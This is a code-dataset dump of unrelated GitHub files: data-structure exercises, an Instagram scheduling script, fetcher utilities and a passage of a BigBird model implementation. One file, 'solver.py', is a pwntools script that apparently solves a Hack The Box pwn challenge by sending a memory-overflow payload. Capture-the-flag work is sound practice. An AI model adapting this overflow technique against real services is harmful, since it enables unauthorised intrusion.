if self.root.insert(x):
self.size = self.size + 1
def insert3(self:"Tree5", x:int, x2:int, x3:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert4(self:"Tree5", x:int, x2:int, x3:int, x4:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert5(self:"Tree5", x:int, x2:int, x3:int, x4:int, x5:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree5", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains2(self:"Tree5", x:int, x2:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains3(self:"Tree5", x:int, x2:int, x3:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains4(self:"Tree5", x:int, x2:int, x3:int, x4:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains5(self:"Tree5", x:int, x2:int, x3:int, x4:int, x5:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def makeNode(x: int) -> TreeNode:
b:TreeNode = None
b = TreeNode()
b.value = x
return b
def makeNode2(x: int, x2: int) -> TreeNode2:
b:TreeNode2 = None
b2:TreeNode2 = None
b = TreeNode2()
b.value = x
return b
def makeNode3(x: int, x2: int, x3: int) -> TreeNode3:
b:TreeNode3 = None
b2:TreeNode3 = None
b3:TreeNode3 = None
b = TreeNode3()
b.value = x
return b
def makeNode4(x: int, x2: int, x3: int, x4: int) -> TreeNode4:
b:TreeNode4 = None
b2:TreeNode4 = None
b3:TreeNode4 = None
b4:TreeNode4 = None
b = TreeNode4()
b.value = x
return b
def makeNode5(x: int, x2: int, x3: int, x4: int, x5: int) -> TreeNode5:
b:TreeNode5 = None
b2:TreeNode5 = None
b3:TreeNode5 = None
b4:TreeNode5 = None
b5:TreeNode5 = None
b = TreeNode5()
b.value = x
return b
# Input parameters
n:int = 100
n2:int = 100
n3:int = 100
n4:int = 100
n5:int = 100
c:int = 4
c2:int = 4
c3:int = 4
c4:int = 4
c5:int = 4
# Data
t:Tree = None
t2:Tree = None
t3:Tree = None
t4:Tree = None
t5:Tree = None
i:int = 0
i2:int = 0
i3:int = 0
i4:int = 0
i5:int = 0
k:int = 37813
k2:int = 37813
k3:int = 37813
k4:int = 37813
k5:int = 37813
# Crunch
t = Tree()
while i < n:
t.insert(k)
k = (k * 37813) % 37831
if i % c != 0:
t.insert(i)
i = i + 1
print(t.size)
for i in [4, 8, 15, 16, 23, 42]:
if t.contains(i):
print(i)
|
[
"647530+Virtlink@users.noreply.github.com"
] |
647530+Virtlink@users.noreply.github.com
|
db1e8d92f5dfca32278c16d8c186b9171a3ab0d3
|
ffb867563db50377779e7caa36e65659e2ac247c
|
/Sample_Application/shserver.py
|
d78365732e8d55f0979458b81a66fb6f05d1c31d
|
[] |
no_license
|
abharga997/networks_p1
|
629a0f07220734eaac33e3e0a02ad7ab7eda5b1b
|
9cbbff6fe93c50599bf3e93cb42b919e08606ee6
|
refs/heads/main
| 2023-03-25T05:45:02.452397
| 2021-03-17T05:17:12
| 2021-03-17T05:17:12
| 347,533,357
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 872
|
py
|
'''
Created on Feb 19, 2021
@author: nigel
'''
from message import Message
from shprotocol import SHProtocol
class SHServer(object):
'''
classdocs
'''
def __init__(self, s: SHProtocol):
'''
Constructor
'''
self._shp = s
def run(self):
mr = self._shp.getMessage()
print(mr)
ms = Message()
ms.setType('USER')
ms.addParam('user', 'none')
ms.addLine('Enter your username:')
self._shp.putMessage(ms)
mr = self._shp.getMessage()
print(mr)
ms.reset()
ms.setType('PASS')
ms.addParam('pass', 'none')
ms.addLine('Enter your password:')
self._shp.putMessage(ms)
mr = self._shp.getMessage()
print(mr)
self._shp.close()
|
[
"noreply@github.com"
] |
noreply@github.com
|
4e9b3ace17e6ece9ef68fe352bc38da33460c815
|
72aa6fdcc0efbba77964695c59234c5b0d521cd0
|
/is_bst_hard.py
|
1b9888dc6cbe6dfac053afd5d3c92a08ef7798f7
|
[] |
no_license
|
manishkumar2409/UCSDx-ALGS201x
|
43510bc61f2476e18db3a2d091e37fe1340931a5
|
79fe0a9871619e5f77deaeda7608c3fea261bb31
|
refs/heads/master
| 2022-02-15T06:56:06.841898
| 2019-07-31T04:36:42
| 2019-07-31T04:36:42
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,347
|
py
|
#!/usr/bin/python3
import sys, threading
sys.setrecursionlimit(10**7) # max depth of recursion
threading.stack_size(2**27) # new thread will get stack of such size
class Node:
def __init__(self, key, left, right):
self.key = key
self.left = left
self.right = right
def IsBinarySearchTree(tree, nodes):
result = []
inOrderTraversal(result, tree[0], tree)
for i in range(len(result) - 1):
if result[i][0] > result[i + 1][0]:
return False
if result[i][0] == result[i + 1][0] and tree[result[i + 1][1]].key == result[i][0] and result[i + 1][1] != -1:
return False
return True
def inOrderTraversal(result, N, tree):
if N.left == -1 and N.right == -1:
result.append((N.key, N.left))
return result
if N.left != -1 and N.left is not None:
inOrderTraversal(result, tree[N.left], tree)
result.append((N.key, N.left))
if N.right != -1 and N.right is not None:
inOrderTraversal(result, tree[N.right], tree)
def main():
nodes = int(sys.stdin.readline().strip())
if nodes <= 1:
print("CORRECT")
return 0
tree = []
for i in range(nodes):
[a, b, c] = list(map(int, sys.stdin.readline().strip().split()))
tree.append(Node(a, b, c))
if IsBinarySearchTree(tree, nodes):
print("CORRECT")
else:
print("INCORRECT")
threading.Thread(target=main).start()
|
[
"noreply@github.com"
] |
noreply@github.com
|
f3e1ff8030f9090e706621f56d4f9b61a23e8428
|
5453f2006363fb4986eb9b9f39b3e1556e34198d
|
/Profanity editor.py
|
bd4cbfa85ac66404af33413162fb59faf3c8e02d
|
[] |
no_license
|
patialashahi31/Full-stack-development
|
c3edc88e2f1ecf6b1c534076d12e4a015a4744ae
|
6f633a1237acb6195b03811fc281fbf1572cea6f
|
refs/heads/master
| 2020-11-25T18:01:30.306477
| 2019-12-21T11:18:31
| 2019-12-21T11:18:31
| 228,783,880
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 374
|
py
|
import urllib.request
def read_from_file():
quotes = open("quotes.txt")
contents = quotes.read()
print(contents)
profanity(contents)
quotes.close()
def profanity(text):
connection = urllib.request.urlopen("http://www.wdylike.appspot.com/?q=" + text)
output = connection.read()
print(output)
connection.close()
read_from_file()
|
[
"tejinderpals31@gmail.com"
] |
tejinderpals31@gmail.com
|
0eb4a0c97dea695c5c933c1cd51d8256ab1b8812
|
31adcb624cdb5c5ad86d3245e5f6216c98ee191d
|
/Post.py
|
ed4474a21a6994ad9c9588354e0ebec3b886b011
|
[] |
no_license
|
DonHaul/ig-automation-data
|
b9f18ed02642ee6a8d88e8cda78831b87e15fbd8
|
35f80468520173e0396a77c78fc52531a10f82ad
|
refs/heads/master
| 2021-04-19T13:15:17.915671
| 2020-04-11T20:12:22
| 2020-04-11T20:12:22
| 249,607,078
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,406
|
py
|
# coding: utf-8
# In[8]:
# -*- coding: utf-8 -*-
import sys
import pandas
import csv
import postselenium as ps
import hashtags
import FileIO
#location of spread
path = "D:/User/Desktop/Insta/Posts.xlsx"
#append in end of description
description_end = '''👉 Segue @bolsos_cheios 👈\n👇 Menciona alguém que precise disto 🔖\n🤝 Partilha para ajudar os outros 😃'''
# In[4]:
#fetch credentials
credentials = FileIO.getJsonFromFile("credentials.json")
#log into facebook creator studio
driver = ps.LogIn(credentials)
# In[10]:
#fetch
df = pandas.read_excel(path,'Posts')
#find all files ready to upload and fetch only fields to upload
df_uploadableData = df.loc[df['State']=='🔼'][['Name','Description','Hashtags','Post Date','Post Time']]
#iterate all uploadable posts
for index,row in df_uploadableData.iterrows():
print(row)
#set full path
row['Image']="D:\\User\Desktop\\Insta\\Posts\\" + row['Name'] + ".png"
#ready up description
row_hashtags = hashtags.GetTextFromHashtaglist(row['Hashtags'].split())
row['Description'] = row['Description'] + "\n \n" + description_end +"\n \n" + row_hashtags
#Post It
ps.SchedulePost(row,driver)
#https://github.com/electron/electron/issues/1344
# In[17]:
#change state
df.loc[df['State']=='🔼','State']='✅'
#Save back the file
df.to_excel(path,index=False)
driver.quit()
|
[
"ramiro.animus@gmail.com"
] |
ramiro.animus@gmail.com
|
fb588a29ad13110bfe5be22b2eca5aff80ed72bc
|
51bab842d885e6d5e6dc0892522ed8ce82f2be9d
|
/src/picktrue/sites/abstract.py
|
ca470e6512e31356d37569ab9e178342d9c4e097
|
[
"MIT"
] |
permissive
|
winkidney/PickTrue
|
d941e5e9eb420f4a80bd0bbe1c06a0ab8ff3c861
|
772b105e4de3852bba41369221f47b8480bf1070
|
refs/heads/master
| 2023-03-12T01:40:54.780845
| 2023-03-10T17:23:55
| 2023-03-10T17:23:55
| 144,246,340
| 146
| 16
|
MIT
| 2020-07-24T13:02:24
| 2018-08-10T06:32:10
|
Python
|
UTF-8
|
Python
| false
| false
| 2,353
|
py
|
import os
from pathlib import Path
import requests
from picktrue.meta import UA, ImageItem
from picktrue.utils import retry
def normalize_proxy_string(proxy):
if 'socks5' in proxy:
if 'socks5h' not in proxy:
proxy = proxy.replace('socks5', 'socks5h')
return proxy
def get_proxy(proxy_string=None):
if proxy_string is None:
return {}
proxy = normalize_proxy_string(proxy_string)
proxies = {
'proxies': {
'http': proxy,
'https': proxy,
}
}
return proxies
class DummySite:
@property
def dir_name(self):
raise NotImplementedError()
@property
def fetcher(self):
raise NotImplementedError()
@property
def tasks(self):
raise NotImplementedError()
class DummyFetcher:
def __init__(self, proxies=None):
self.session = requests.session()
if proxies is not None:
self.session.proxies = proxies
self.session.headers.update(UA)
@staticmethod
def _safe_name(name):
name = name.replace("/", " ")
name = name.replace("\\", " ")
name = name.strip()
name = name.replace(" ", '-')
return name
@staticmethod
def _safe_path(path):
return Path(path).absolute()
@retry()
def get(self, url, **kwargs):
"""
:rtype: requests.Response
"""
if 'timeout' in kwargs:
kwargs.pop('timeout')
return self.session.get(url, timeout=(2, 30), **kwargs)
def get_save_path(self, base_path, image_name, image: ImageItem):
save_path = os.path.join(
base_path,
image_name,
)
return save_path
def save(self, content, task_item):
"""
:type content: bytearray
:type task_item: picktrue.meta.TaskItem
"""
image = task_item.image
image_name = image.name
if callable(image.name):
image_name = image.name(image.url, content)
save_path = self.get_save_path(
task_item.base_save_path,
image_name,
image,
)
save_path = self._safe_path(save_path)
if os.path.exists(save_path):
return
with open(save_path, "wb") as f:
f.write(content)
f.flush()
|
[
"winkidney@gmail.com"
] |
winkidney@gmail.com
|
0e5af4515f9dd1ee176f5f268a129a8ba12e2054
|
fd90b21abac646fa6b4d2ac3b352c1f964ebb0c9
|
/Sorting/merge_sorted_arrays.py
|
9f48040b665b03dd1999ecb86b83c15b80f95a45
|
[] |
no_license
|
abhi55555/dsPrograms
|
fe3ef661fc43754d1ba5635029d1e8052facf4c2
|
c2841bbf60c5a22bb68895927b63fc9a6ee1510e
|
refs/heads/master
| 2021-07-20T12:40:46.138181
| 2020-06-07T14:26:19
| 2020-06-07T14:26:19
| 180,559,748
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 738
|
py
|
# merge two sorted arrays such that new array is sorted.
def mergeArrays(arr1, arr2, n1, n2):
arr3 = [None] * (n1 + n2)
i = 0
j = 0
k = 0
while i < n1 and j < n2:
if arr1[i] < arr2[j]:
arr3[k] = arr1[i]
k = k + 1
i = i + 1
else:
arr3[k] = arr2[j]
k = k + 1
j = j + 1
while i < n1:
arr3[k] = arr1[i]
k = k + 1
i = i + 1
while j < n2:
arr3[k] = arr2[j]
k = k + 1
j = j + 1
print("Merged array")
for i in range(n1 + n2):
print(str(arr3[i]), end=" ")
arr1 = [1, 3, 5, 7]
n1 = len(arr1)
arr2 = [2, 4, 6, 8]
n2 = len(arr2)
mergeArrays(arr1, arr2, n1, n2)
|
[
"33001714+abhi55555@users.noreply.github.com"
] |
33001714+abhi55555@users.noreply.github.com
|
86b3f83929f79a52ee1fe3868ff4b89ab6361197
|
05a7108e234e2af2b5261b512d62414ef329f4d2
|
/main.py
|
b1d0b200f289ad8bd9544e637200ebe30819f612
|
[] |
no_license
|
manshul1807/Mean_Variance_Standard_Dev_Calculator
|
41582a20aefda06655c5894927c7eae69371b1c5
|
00030b500a92687284acfff98d9108b5e2426fee
|
refs/heads/master
| 2022-10-23T23:21:55.128205
| 2020-06-18T19:36:30
| 2020-06-18T19:36:30
| 273,324,528
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 246
|
py
|
# This entrypoint file to be used in development. Start by reading README.md
import mean_var_std
from unittest import main
print(mean_var_std.calculate([0,1,2,3,4,5,6,7,8]))
# Run unit tests automatically
main(module='test_module', exit=False)
|
[
"noreply@github.com"
] |
noreply@github.com
|
35dfc784fce1e1f84a5c902dfaad6aa13b45a15b
|
b7f9d32bfd0ba147182a880de9b257355d3bc945
|
/pyedi/grammar/jsonnocheck.py
|
28444610964efc57bb6f31665ff2ce012f9fe561
|
[] |
no_license
|
jedrus2000/pyedi
|
25cbb930d854e0dbe79d251b3215040c978410b2
|
b5d291c5f8565137bb845835c8fe439730b2f2c7
|
refs/heads/master
| 2020-04-12T09:15:58.802275
| 2018-12-19T07:16:55
| 2018-12-19T07:16:55
| 162,396,916
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,690
|
py
|
"""
This is modified code of Bots project:
http://bots.sourceforge.net/en/index.shtml
ttp://bots.readthedocs.io
https://github.com/eppye-bots/bots
originally created by Henk-Jan Ebbers.
This code include also changes from other forks, specially from:
https://github.com/bots-edi
This project, as original Bots is licenced under GNU GENERAL PUBLIC LICENSE Version 3; for full
text: http://www.gnu.org/copyleft/gpl.html
"""
from .json import Json
class JsonNoCheck(Json):
defaultsyntax = {
"charset": "utf-8",
"checkcharsetin": "strict", # strict, ignore or botsreplace (replace with char as set in bots.ini).
"checkcharsetout": "strict", # strict, ignore or botsreplace (replace with char as set in bots.ini).
"checkunknownentities": False,
"contenttype": "application/json",
"decimaal": ".",
"defaultBOTSIDroot": "ROOT",
"envelope": "",
"indented": False, # False: output is one string (no cr/lf); True: output is indented/human readable
"merge": False,
"triad": "",
# settings needed as defaults, but not useful for this editype
"add_crlfafterrecord_sep": "",
"escape": "",
"field_sep": "",
"forcequote": 0, # csv only
"quote_char": "",
"record_sep": "",
"record_tag_sep": "", # Tradacoms/GTDI
"reserve": "",
"sfield_sep": "",
"skip_char": "",
# bots internal, never change/overwrite
"has_structure": False, # is True, read structure, recorddef, check these
"checkcollision": False,
"lengthnumericbare": False,
"stripfield_sep": False,
}
|
[
"a.barganski@gmail.com"
] |
a.barganski@gmail.com
|
37402bdf9294be291fb39fe8404553f2d0cb5d60
|
9b5e70bc584a3de594aa18b9144f941a3d644b3c
|
/Fibonacci.py
|
0dc6eda5514ecdc38c3022ecd33ff6e4b43c0e7b
|
[] |
no_license
|
Uservasyl/StartDragons_lesson2
|
fe3c60822b136bcff521c6ca80e721a015621513
|
2b9e090a574681c155655a915e8d17f93e3d9da2
|
refs/heads/master
| 2020-04-04T10:31:43.992241
| 2018-11-02T11:37:50
| 2018-11-02T11:37:50
| 155,858,119
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 590
|
py
|
import random
# генерація списку Фібоначчі.
n = int(input("Введіть довжину списку: \n"))
a = 0
b = 1
li = []
N = n * 5
while len(li) < N:
c = a + b
a = b
b = c
li.append(c)
print(li)
# генерація списку довжиною n із списку Фібоначчі.
arr = random.sample(li, n)
# сортування методом включення
for i in range(len(arr)):
j = i - 1
temp = arr[i]
while j >= 0 and temp < arr[j]:
arr[j + 1] = arr[j]
arr[j] = temp
j -= 1
print(arr)
|
[
"vasul1983rost@gmail.com"
] |
vasul1983rost@gmail.com
|
c248e573b83f7eecb70be7d44a886b64a121bb1b
|
6e87fcaeb1240da844f79509dfbe1b8ca4b2454e
|
/Django_python/Data Logging server/Logger/Logger/wsgi.py
|
dc54eca2fab7dfebd2c01bc00cbd1b064e1468de
|
[] |
no_license
|
alifele/Python
|
e46eb83427ab55cf20fd21891af537e2780443c0
|
747ab9e7249042cf6b2dd31276e6f25d8814523c
|
refs/heads/master
| 2023-03-17T06:34:53.451566
| 2023-03-06T02:57:58
| 2023-03-06T02:57:58
| 182,303,700
| 1
| 0
| null | 2022-12-08T10:17:12
| 2019-04-19T17:46:14
|
Python
|
UTF-8
|
Python
| false
| false
| 389
|
py
|
"""
WSGI config for Logger project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'Logger.settings')
application = get_wsgi_application()
|
[
"ali.fele@gmail.com"
] |
ali.fele@gmail.com
|
b7fa3343383d68a70e8e9baf430f5abe51b77c52
|
11064ad7f023a205edc05314baa48563895cb346
|
/HTB/charenges/pwn/little_tommy/solver.py
|
f687e304227150b7f07216868a17d066e768853c
|
[] |
no_license
|
teppi1995/pentest
|
c38e0e62b39d84ebcd829408b87113ca0f1ee95c
|
3936b0000e25fdbd576b91796fd5681defabe638
|
refs/heads/master
| 2022-05-29T14:16:47.454997
| 2020-05-03T16:06:37
| 2020-05-03T16:06:37
| 257,635,516
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,245
|
py
|
import logging
from pwn import *
from time import sleep
logging.basicConfig(level=logging.INFO, format="%(message)s")
#logging.disable(logging.CRITICAL)
HOST = "docker.hackthebox.eu"
PORT = 31940
def main():
logging.info("***remote exploit ***")
logging.info("[*]target host : " + HOST)
logging.info("[*]target port : " + str(PORT))
target = remote(HOST, PORT)
###payload###
payload = b"A" * 64
payload += b"fuck"
_ = target.recvuntil("Please enter an operation number: ")
target.sendline("1")
sleep(1)
_ = target.recvuntil("First name: ")
target.sendline("AAAA")
sleep(1)
_ = target.recvuntil("Last name: ")
target.sendline("BBBB")
sleep(1)
_ = target.recvuntil("Please enter an operation number: ")
target.sendline("3")
sleep(1)
_ = target.recvuntil("Please enter an operation number: ")
target.sendline("4")
sleep(1)
_ = target.recvuntil("Please enter memo:")
target.sendline(payload)
sleep(1)
_ = target.recvuntil("Please enter an operation number: ")
target.sendline("5")
sleep(1)
ret = target.recvuntil("")
target.interactive()
if __name__ == "__main__":
main()
|
[
"yt1z45dvn2vnca3k1tc7@docomo.ne.jp"
] |
yt1z45dvn2vnca3k1tc7@docomo.ne.jp
|
783203789a9449d2d91d1429e86eb9ea6d46379a
|
df7602d23dd58cbee98b9b468cc860100e651edc
|
/src/transformers/models/big_bird/modeling_big_bird.py
|
67b9bd182c5e6aae61bff263d60af6ef98e857a5
|
[
"Apache-2.0"
] |
permissive
|
trickstertwo/transformers
|
0d71caa73d4877504516a445b16f60a153b0f3e8
|
1ed2ebf60d87ef12bd063c7c58e484e19189c754
|
refs/heads/master
| 2023-05-29T22:59:11.023178
| 2021-06-14T16:44:28
| 2021-06-14T16:44:28
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 133,773
|
py
|
# coding=utf-8
# Copyright 2021 Google Research and The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" PyTorch BigBird model. """
import math
import os
from dataclasses import dataclass
from typing import Optional, Tuple
import numpy as np
import torch
import torch.utils.checkpoint
from torch import nn
from torch.nn import BCEWithLogitsLoss, CrossEntropyLoss, MSELoss
from ...activations import ACT2FN
from ...file_utils import (
ModelOutput,
add_code_sample_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
replace_return_docstrings,
)
from ...modeling_outputs import (
BaseModelOutputWithPastAndCrossAttentions,
BaseModelOutputWithPoolingAndCrossAttentions,
CausalLMOutputWithCrossAttentions,
MaskedLMOutput,
MultipleChoiceModelOutput,
SequenceClassifierOutput,
TokenClassifierOutput,
)
from ...modeling_utils import PreTrainedModel, SequenceSummary, apply_chunking_to_forward
from ...utils import logging
from .configuration_big_bird import BigBirdConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "google/bigbird-roberta-base"
_CONFIG_FOR_DOC = "BigBirdConfig"
_TOKENIZER_FOR_DOC = "BigBirdTokenizer"
BIG_BIRD_PRETRAINED_MODEL_ARCHIVE_LIST = [
"google/bigbird-roberta-base",
"google/bigbird-roberta-large",
"google/bigbird-base-trivia-itc",
# See all BigBird models at https://huggingface.co/models?filter=big_bird
]
_TRIVIA_QA_MAPPING = {
"big_bird_attention": "attention/self",
"output_layer_norm": "output/LayerNorm",
"attention_output": "attention/output/dense",
"output": "output/dense",
"self_attention_layer_norm": "attention/output/LayerNorm",
"intermediate": "intermediate/dense",
"word_embeddings": "bert/embeddings/word_embeddings",
"position_embedding": "bert/embeddings/position_embeddings",
"type_embeddings": "bert/embeddings/token_type_embeddings",
"embeddings": "bert/embeddings",
"layer_normalization": "output/LayerNorm",
"layer_norm": "LayerNorm",
"trivia_qa_head": "qa_classifier",
"dense": "intermediate/dense",
"dense_1": "qa_outputs",
}
def load_tf_weights_in_big_bird(model, tf_checkpoint_path, is_trivia_qa=False):
"""Load tf checkpoints in a pytorch model."""
def load_tf_weights_bert(init_vars, tf_path):
names = []
tf_weights = {}
for name, shape in init_vars:
array = tf.train.load_variable(tf_path, name)
name = name.replace("bert/encoder/LayerNorm", "bert/embeddings/LayerNorm")
logger.info(f"Loading TF weight {name} with shape {shape}")
names.append(name)
tf_weights[name] = array
return names, tf_weights
def load_tf_weights_trivia_qa(init_vars):
names = []
tf_weights = {}
for i, var in enumerate(init_vars):
name_items = var.name.split("/")
if "transformer_scaffold" in name_items[0]:
layer_name_items = name_items[0].split("_")
if len(layer_name_items) < 3:
layer_name_items += [0]
name_items[0] = f"bert/encoder/layer_{layer_name_items[2]}"
name = "/".join([_TRIVIA_QA_MAPPING[x] if x in _TRIVIA_QA_MAPPING else x for x in name_items])[
:-2
] # remove last :0 in variable
if "self/attention/output" in name:
name = name.replace("self/attention/output", "output")
if i >= len(init_vars) - 2:
name = name.replace("intermediate", "output")
logger.info(f"Loading TF weight {name} with shape {var.shape}")
array = var.value().numpy()
names.append(name)
tf_weights[name] = array
return names, tf_weights
try:
import re
import numpy as np
import tensorflow as tf
except ImportError:
logger.error(
"Loading a TensorFlow model in PyTorch, requires TensorFlow to be installed. Please see "
"https://www.tensorflow.org/install/ for installation instructions."
)
raise
tf_path = os.path.abspath(tf_checkpoint_path)
logger.info(f"Converting TensorFlow checkpoint from {tf_path}")
# Load weights from TF model
init_vars = tf.saved_model.load(tf_path).variables if is_trivia_qa else tf.train.list_variables(tf_path)
assert len(init_vars) > 0, "Loaded trained variables cannot be empty."
pt_names = list(model.state_dict().keys())
if is_trivia_qa:
names, tf_weights = load_tf_weights_trivia_qa(init_vars)
else:
names, tf_weights = load_tf_weights_bert(init_vars, tf_path)
for txt_name in names:
array = tf_weights[txt_name]
name = txt_name.split("/")
# adam_v and adam_m are variables used in AdamWeightDecayOptimizer to calculated m and v
# which are not required for using pretrained model
if any(
n in ["adam_v", "adam_m", "AdamWeightDecayOptimizer", "AdamWeightDecayOptimizer_1", "global_step"]
for n in name
):
logger.info(f"Skipping {'/'.join(name)}")
continue
pointer = model
pt_name = []
for m_name in name:
if re.fullmatch(r"[A-Za-z]+_\d+", m_name):
scope_names = re.split(r"_(\d+)", m_name)
else:
scope_names = [m_name]
if scope_names[0] == "kernel" or scope_names[0] == "gamma":
pointer = getattr(pointer, "weight")
pt_name.append("weight")
elif scope_names[0] == "output_bias" or scope_names[0] == "beta":
pointer = getattr(pointer, "bias")
pt_name.append("bias")
elif scope_names[0] == "output_weights":
pointer = getattr(pointer, "weight")
pt_name.append("weight")
elif scope_names[0] == "squad":
pointer = getattr(pointer, "classifier")
pt_name.append("classifier")
elif scope_names[0] == "transform":
pointer = getattr(pointer, "transform")
pt_name.append("transform")
if ("bias" in name) or ("kernel" in name):
pointer = getattr(pointer, "dense")
pt_name.append("dense")
elif ("beta" in name) or ("gamma" in name):
pointer = getattr(pointer, "LayerNorm")
pt_name.append("LayerNorm")
else:
try:
pointer = getattr(pointer, scope_names[0])
pt_name.append(f"{scope_names[0]}")
except AttributeError:
logger.info(f"Skipping {m_name}")
continue
if len(scope_names) >= 2:
num = int(scope_names[1])
pointer = pointer[num]
pt_name.append(f"{num}")
if m_name[-11:] == "_embeddings" or m_name == "embeddings":
pointer = getattr(pointer, "weight")
pt_name.append("weight")
elif m_name == "kernel":
array = np.transpose(array)
try:
if len(array.shape) > len(pointer.shape) and math.prod(array.shape) == math.prod(pointer.shape):
# print(txt_name, array.shape)
if (
txt_name.endswith("attention/self/key/kernel")
or txt_name.endswith("attention/self/query/kernel")
or txt_name.endswith("attention/self/value/kernel")
):
array = array.transpose(1, 0, 2).reshape(pointer.shape)
elif txt_name.endswith("attention/output/dense/kernel"):
array = array.transpose(0, 2, 1).reshape(pointer.shape)
else:
array = array.reshape(pointer.shape)
if pointer.shape != array.shape:
raise ValueError(
f"Pointer shape {pointer.shape} and array shape {array.shape} mismatched of {txt_name}."
)
except AssertionError as e:
e.args += (pointer.shape, array.shape)
raise
pt_weight_name = ".".join(pt_name)
logger.info(f"Initialize PyTorch weight {pt_weight_name} from {txt_name}.")
pointer.data = torch.from_numpy(array)
tf_weights.pop(txt_name, None)
pt_names.remove(pt_weight_name)
logger.info(f"Weights not copied to PyTorch model: {', '.join(tf_weights.keys())}.")
logger.info(f"Weights not initialized in PyTorch model: {', '.join(pt_names)}.")
return model
class BigBirdEmbeddings(nn.Module):
"""Construct the embeddings from word, position and token_type embeddings."""
# Copied from transformers.models.bert.modeling_bert.BertEmbeddings.__init__
def __init__(self, config):
super().__init__()
self.word_embeddings = nn.Embedding(config.vocab_size, config.hidden_size, padding_idx=config.pad_token_id)
self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)
self.token_type_embeddings = nn.Embedding(config.type_vocab_size, config.hidden_size)
# self.LayerNorm is not snake-cased to stick with TensorFlow model variable name and be able to load
# any TensorFlow checkpoint file
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
# position_ids (1, len position emb) is contiguous in memory and exported when serialized
self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1)))
self.position_embedding_type = getattr(config, "position_embedding_type", "absolute")
# End copy
self.rescale_embeddings = config.rescale_embeddings
self.hidden_size = config.hidden_size
def forward(
self, input_ids=None, token_type_ids=None, position_ids=None, inputs_embeds=None, past_key_values_length=0
):
if input_ids is not None:
input_shape = input_ids.size()
else:
input_shape = inputs_embeds.size()[:-1]
seq_length = input_shape[1]
if position_ids is None:
position_ids = self.position_ids[:, past_key_values_length : seq_length + past_key_values_length]
if token_type_ids is None:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device)
if inputs_embeds is None:
inputs_embeds = self.word_embeddings(input_ids)
if self.rescale_embeddings:
inputs_embeds = inputs_embeds * (self.hidden_size ** 0.5)
token_type_embeddings = self.token_type_embeddings(token_type_ids)
embeddings = inputs_embeds + token_type_embeddings
position_embeddings = self.position_embeddings(position_ids)
embeddings += position_embeddings
embeddings = self.dropout(embeddings)
embeddings = self.LayerNorm(embeddings)
return embeddings
class BigBirdSelfAttention(nn.Module):
def __init__(self, config):
super().__init__()
if config.hidden_size % config.num_attention_heads != 0 and not hasattr(config, "embedding_size"):
raise ValueError(
f"The hidden size ({config.hidden_size}) is not a multiple of the number of attention "
f"heads ({config.num_attention_heads})"
)
self.num_attention_heads = config.num_attention_heads
self.attention_head_size = int(config.hidden_size / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = nn.Linear(config.hidden_size, self.all_head_size, bias=config.use_bias)
self.key = nn.Linear(config.hidden_size, self.all_head_size, bias=config.use_bias)
self.value = nn.Linear(config.hidden_size, self.all_head_size, bias=config.use_bias)
self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
self.is_decoder = config.is_decoder
def transpose_for_scores(self, x):
new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)
x = x.view(*new_x_shape)
return x.permute(0, 2, 1, 3)
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_value=None,
output_attentions=False,
):
mixed_query_layer = self.query(hidden_states)
# If this is instantiated as a cross-attention module, the keys
# and values come from an encoder; the attention mask needs to be
# such that the encoder's padding tokens are not attended to.
is_cross_attention = encoder_hidden_states is not None
if is_cross_attention and past_key_value is not None:
# reuse k,v, cross_attentions
key_layer = past_key_value[0]
value_layer = past_key_value[1]
attention_mask = encoder_attention_mask
elif is_cross_attention:
key_layer = self.transpose_for_scores(self.key(encoder_hidden_states))
value_layer = self.transpose_for_scores(self.value(encoder_hidden_states))
attention_mask = encoder_attention_mask
elif past_key_value is not None:
key_layer = self.transpose_for_scores(self.key(hidden_states))
value_layer = self.transpose_for_scores(self.value(hidden_states))
